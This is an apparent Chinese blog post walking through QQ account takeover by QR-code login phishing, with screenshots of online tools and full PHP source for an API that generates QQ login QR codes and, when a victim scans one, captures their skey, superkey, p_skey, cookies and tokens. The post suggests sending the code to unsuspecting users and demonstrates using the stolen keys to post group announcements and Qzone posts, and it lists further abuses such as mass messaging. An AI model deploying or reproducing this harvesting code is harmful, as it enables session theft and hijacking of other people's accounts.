如何通过二维码获得QQ密钥?如何利用密钥进行远控?

相关阅读

为什么最近盗号频发?QQ二维码认证机制 最后附QQ盗号的过程演示-自由者联盟
QQ盗号的最新骗局,请谨防上当受骗-自由者联盟

杂谈

在上期我们通过简陋的接口方式,进行了模拟QQ号扫码,获取QQ_skey等关键参数,很多网友表示,不够简单易懂!我们今天给大家做了几个小工具,带大家体验一下QQ二维码是如何被利用的!

在线工具

使用教程

接下来我们将模拟QQ盗号的完整过程

准备工作:获取QQ_Skey密钥

首先我们使用密钥工具

图片[1]-如何通过二维码获得QQ密钥?如何利用密钥进行远控?-FancyPig's blog

页面上有二维码,你可以尝试投递给热心网友。再扫描成功之后,我们会获得下面的参数

图片[2]-如何通过二维码获得QQ密钥?如何利用密钥进行远控?-FancyPig's blog

主要有用的就是

  • Skey
  • P_Skey

我们会在后面使用这两个值完成一些有趣的事情

演示一:通过QQ_Skey查询QQ的注册日期

图片[3]-如何通过二维码获得QQ密钥?如何利用密钥进行远控?-FancyPig's blog

演示二:利用QQ_Skey发布群公告

我们将准备工作中获取的Skey填入,并填写好我们要发布群公告的群号(必须是管理员或者群主

图片[4]-如何通过二维码获得QQ密钥?如何利用密钥进行远控?-FancyPig's blog

这里我们可以看到群公告已经被我们修改了!

图片[5]-如何通过二维码获得QQ密钥?如何利用密钥进行远控?-FancyPig's blog

演示三:利用QQ_Skey发布空间说说

同样方式,我们还可以通过这个密钥来发布QQ空间的说说

图片[6]-如何通过二维码获得QQ密钥?如何利用密钥进行远控?-FancyPig's blog

可以看到空间成功发布了说说

图片[7]-如何通过二维码获得QQ密钥?如何利用密钥进行远控?-FancyPig's blog

源码部署

我们也为🍕、🍔用户提供了源码,您可以自行部署独立版到服务器上研究、学习。

本文隐藏内容 – 披萨会员可见

以上是源码文件均是单独的页面,您可以下载之后直接上传到自己的服务器便可以访问!

有热心网友问到api接口源码能不能也发下源码,我们给🍔用户提供了api的源码

本文隐藏内容 – 汉堡会员可见

相关代码如下

<?php
header('Access-Control-Allow-Origin:*'); 
#指定返回数据为json utf-8
header('Content-type:application/json; charset=utf-8');
	
	
#get参数是否为空
function isgetnull($a){
	if(empty($_GET[$a]) || !isset($_GET[$a]) || $_GET[$a]=='' || $_GET[$a]==null){
		return true;
	}
	return false;
}

/*age
 * 如果get参数中有qrsig,则判断为获取扫码结果,否则判断为获取二维码
 * (也可在此加时间戳有效验证以及签名验证)
 */
if(isgetnull('qrsig')){
	//获取二维码
	echo json_encode(getqrcode());
}else{
	$qrsig = $_GET['qrsig'];
	//获取二维码扫码结果
	echo json_encode(getresult($qrsig),JSON_UNESCAPED_UNICODE);
}

/**
 * 获取二维码请求
 */
function getqrcode() {
    $qrcode = array();
    $api = 'https://ssl.ptlogin2.qq.com/ptqrshow?appid=1006102&e=2&l=M&s=3&d=72&v=4&daid=1&pt_3rd_aid=0&t=0.1415855' . time();
    $paras['header'] = 1;#使返回时包含响应头(qrsig在响应头中)
    $ret = get_curl($api, $paras)['allbody'];
    preg_match('/qrsig=(.*?);/', $ret, $matches);
    preg_match_all('/ (\d){3}/', $ret, $Conlen);
    $arr = explode('SameSite=None;', $ret);
    $qrcode['qrsig'] = $matches[1];
    $qrcode['data'] = base64_encode(trim($arr[1]));
    $qrcode['code'] = 1;
    return $qrcode;
}

/**
 * 获取扫码结果请求
 */
function getresult($qrsig) {
    $ret = array();
    $api = 'https://ssl.ptlogin2.qq.com/ptqrlogin?u1=' . urlencode('https://id.qq.com/index.html') . '&ptqrtoken=' . getqrtoken($qrsig) . '&ptredirect=1&h=1&t=1&g=1&from_ui=1&ptlang=2052&action=0-1-' . time() . '&js_ver=20032614&js_type=1&login_sig=&pt_uistyle=40&aid=1006102&daid=1';
    $paras['cookie'] = 'qrsig=' . $qrsig . ';';
    $paras['refer'] = 1;
    $paras['header'] = 1;
    $allbody = get_curl($api, $paras);
    $body = $allbody['body'];
    if (preg_match("/ptuiCB\('(.*?)'\)/", $body, $arr)) {#正则匹配ptuiCB()括号中的内容
        $r = explode("','", str_replace("', '", "','", $arr[1]));#用','分割
        #第一个值为返回代码
        if ($r[0] == 0) {
            preg_match('/uin=(\d+)&/', $body, $uin);
            $ret['code'] = 1;
            $ret['data']['uin'] = $uin[1];#正则解析到QQ号
            $ret['data']['nick'] = $r[5];#昵称
            $responseheader = $allbody['header'];
            preg_match('/Set-Cookie: skey=(.*?);/', $responseheader, $skey);
            $ret['data']['skey'] = $skey[1];
            preg_match('/Set-Cookie: superkey=(.*?);/', $responseheader, $superkey);
            $ret['data']['superkey'] = $superkey[1];
            #自定义
            preg_match('/Set-Cookie:(.*?);/', $responseheader, $cookie);
            $ret['data']['cookie'] = $cookie[1];
            preg_match('/Set-Cookie: P_skeyToken=(.*?);/', $responseheader, $P_skeyToken);
            $ret['data']['p_skeytoken'] = $P_skeyToken[1];
            preg_match('/Set-Cookie: SkeyToken=(.*?);/', $responseheader, $SkeyToken);
            $ret['data']['skeytoken'] = $SkeyToken[1];
            preg_match('/Set-Cookie: QzoneToken=(.*?);/', $responseheader, $QzoneToken);
            $ret['data']['qzonetoken'] = $QzoneToken[1];
            preg_match('/pt4_token=(.*?)/', $body, $pt4_token);
            $ret['data']['pt4_token'] = $pt4_token[1];
            //上面代码为在请求后通过正在匹配以及字符串处理获取我们需要的值,如QQ号、昵称、skey、superkey 。再次访问$r[2]获取pskey
            $paras['header'] = 1;
            $pskeyresponseheader = get_curl($r[2], $paras)['header'];
            preg_match('/Set-Cookie: p_skey=(.*?);/', $pskeyresponseheader, $pskey);
            $ret['data']['pskey'] = $pskey[1];
            $ret['msg'] = 'QQ登录成功';
            //也可在此直接进行业务逻辑(无需验证),因为这里为从QQ官方的请求获取的信息
        } elseif ($r[0] == 65) {
            $ret['msg'] = '登录二维码已失效,请刷新重试!';
            $ret['code'] = -4;
        } elseif ($r[0] == 66) {
            $ret['msg'] = '请使用手机QQ扫码登录';
            $ret['code'] = 0;
        } elseif ($r[0] == 67) {
            $ret['msg'] = '正在验证二维码...';
            $ret['code'] = 2;
        } else {
            $ret['msg'] = '未知错误001,请刷新重试!';
            $ret['code'] = -5;
        }
    } else {
        $ret['msg'] = '未知错误002,请刷新重试!';
        $ret['code'] = 1;	
    }
    return $ret;
}

/*
 * curl模拟请求函数
 */
function get_curl($url, $paras = array()) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    //关闭https验证
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    $httpheader[] = "Accept:*/*";
    $httpheader[] = "Accept-Encoding:gzip,deflate,sdch";
    $httpheader[] = "Accept-Language:zh-CN,zh;q=0.8";
    $httpheader[] = "Connection:close";
    curl_setopt($ch, CURLOPT_HTTPHEADER, $httpheader);
    if ($paras['ctime']) { // 连接超时
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT_MS, $paras['ctime']);
    }
    if ($paras['rtime']) { // 读取超时
        curl_setopt($ch, CURLOPT_TIMEOUT_MS, $paras['rtime']);
    }
    if ($paras['post']) {
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $paras['post']);
    }
    if ($paras['header']) {
    	#是否返回响应头
        curl_setopt($ch, CURLOPT_HEADER, true);
    }
    if ($paras['cookie']) {
        curl_setopt($ch, CURLOPT_COOKIE, $paras['cookie']);
    }
    if ($paras['refer']) {
        if ($paras['refer'] == 1) {
        	#这样可以设置请求头的referer,防止请求失败
            curl_setopt($ch, CURLOPT_REFERER, 'https://xui.ptlogin2.qq.com/cgi-bin/xlogin?pt_disable_pwd=1&appid=1006102&daid=1&style=23&hide_border=1&proxy_url=https://id.qq.com%2Flogin%2Fproxy.html&s_url=https://id.qq.com/index.html');
        } else {
            curl_setopt($ch, CURLOPT_REFERER, $paras['refer']);
        }
    }
    if ($paras['ua']) {
        curl_setopt($ch, CURLOPT_USERAGENT, $paras['ua']);
    } else {
    	#设置默认ua
        curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 Edg/84.0.522.58");
    }
    if ($paras['nobody']) {
    	#设置是否不要响应体
        curl_setopt($ch, CURLOPT_NOBODY, 1);
    }
    curl_setopt($ch, CURLOPT_ENCODING, "gzip");
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $ret = curl_exec($ch);
    if($paras['header']){
        $header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
        $return_result['allbody'] = $ret;
        $return_result['header'] = substr($ret, 0, $header_size);
        $return_result['body'] = substr($ret, $header_size);
        
    }else{
        $return_result = $ret;
    }
    curl_close($ch);
    return $return_result;
}

/** id.qq.comToken算法 ,同QQ空间Token算法*/
function getqrtoken($qrsig) {
    $len = strlen($qrsig);
    $hash = 0;
    for ($i = 0; $i < $len; $i++) {
        $hash += (($hash << 5) & 2147483647) + ord($qrsig[$i]) & 2147483647;
        $hash &= 2147483647;
    }
    return $hash & 2147483647;
}

function retn($code,$str){
    exit(json_encode([
        "code"=>$code,
        "msg"=>$str
    ],JSON_UNESCAPED_UNICODE));
}

总结

结合上面的示例,我们发现扫码之后可以获得很多权限

  • QQ注册日期查询

会导致很多风险的出现,比如

  • QQ群发布恶意公告
  • QQ空间发布敏感内容

当然,拿到了Skey还有很多可能

  • 查看关心的人列表
  • 查看QQ空间访客
  • 转发QQ空间说说
  • 群发QQ消息

我们后面慢慢补充!

© 版权声明
THE END
喜欢就支持一下吧
点赞8 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片

    暂无评论内容